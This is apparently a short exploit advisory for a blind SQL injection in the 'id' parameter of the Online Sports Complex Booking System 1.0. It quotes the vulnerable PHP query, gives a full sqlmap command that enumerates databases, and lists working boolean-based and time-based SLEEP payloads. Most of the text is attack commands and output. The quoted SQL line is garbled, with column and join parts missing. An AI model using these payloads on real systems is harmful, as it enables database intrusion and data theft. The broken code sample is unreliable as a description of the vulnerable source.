# Exploit Title: Online Sports Complex Booking System - 'id' Blind SQL Injection  
# Date: 24/03/2022  
# Exploit Author: Saud Alenazi  
# Vendor Homepage:  
# Software Link:  
# Version: 1.0  
# Tested on: XAMPP, Linux  
# Vulnerable Code  
line 3 in file "/scbs/view_facility.php"  
$qry = $conn->query("SELECT f.*, as category from `facility_list` f inner join category_list c on f.category_id = where = '{$_GET['id']}' ");  
# Sqlmap command:  
sqlmap -u 'http://localhost/scbs/?p=view_facility&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta  
# Output:  
Parameter: id (GET)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: p=view_facility&id=1' AND 9877=9877 AND 'MVfb'='MVfb  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: p=view_facility&id=1' AND (SELECT 8456 FROM (SELECT(SLEEP(5)))ZnUC) AND 'GiOo'='GiOo